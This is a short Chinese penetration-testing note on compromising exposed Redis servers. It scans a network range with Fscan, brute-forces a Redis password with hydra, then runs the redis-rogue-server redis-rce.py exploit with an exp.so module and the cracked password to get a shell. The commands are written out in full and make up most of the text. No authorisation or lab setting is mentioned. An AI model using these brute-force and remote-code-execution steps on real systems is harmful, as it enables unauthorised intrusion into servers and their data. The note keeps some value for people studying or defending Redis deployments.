Fscan扫描网段发现了一些开启了6379的服务器，逐个尝试了下未授权，然后尝试了下爆破
hydra爆破redis
hydra -P [字典目录] redis://xxx.xxx.xxx.xxx
结果还真让爆出来一个
得到密码后，连接上去，这里用的是Another Redis Desktop Manager
连接上去后发现redis版本是5.0.7，且密码已知，可以尝试Redis RCE Post Exploitation
注意so文件用未授权GetShell中的so文件：https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rce.py -r [目标IP] -L [本机地址] -f exp.so -a "qwe123456"
成功GetShell
